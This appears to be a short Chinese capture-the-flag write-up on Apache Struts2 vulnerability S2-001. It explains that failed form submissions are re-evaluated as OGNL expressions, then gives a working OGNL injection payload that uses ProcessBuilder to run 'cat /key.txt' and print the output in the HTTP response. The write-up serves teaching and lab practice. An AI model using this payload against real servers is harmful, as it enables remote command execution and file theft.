根據題意
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL90TQPlXT61UerR0TxUERapnRywEMW1mY1RzRapnTtxkb5ckYplTeMZTTINGMShUYfRHelRHLwEzX39GZhh2css2RkBnVHFmb1clWvB3MaVnRtp1XlBXe0xyayFWbyVGdhd3LcV2Zh1Wa9M3clN2byBXLzN3btg3Pn5GcuEjN0QDOwkDMxIDOwkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
Struts2架構是一個用于開發Java EE網絡應用程式的開放源代碼網頁應用程式架構。它利用并延伸了Java Servlet API,鼓勵開發者采用MVC架構。Struts2以WebWork優秀的設計思想為核心,吸收了Struts架構的部分優點,提供了一個更加整潔的MVC設計模式實作的Web應用程式架構。
S2-001
原理:該漏洞其實是因為使用者送出表單資料并且驗證失敗時,後端會将使用者之前送出的參數值使用 OGNL 表達式 %{value}進行解析,然後重新填充到對應的表單資料中。例如注冊或登入頁面,送出失敗後端一般會預設傳回之前送出的資料,由于後端使用 %{value} 對送出的資料執行了一次 OGNL 表達式解析。
試着直接執行%{1+1}
Exp指令執行直接get key
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”,"/key.txt"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}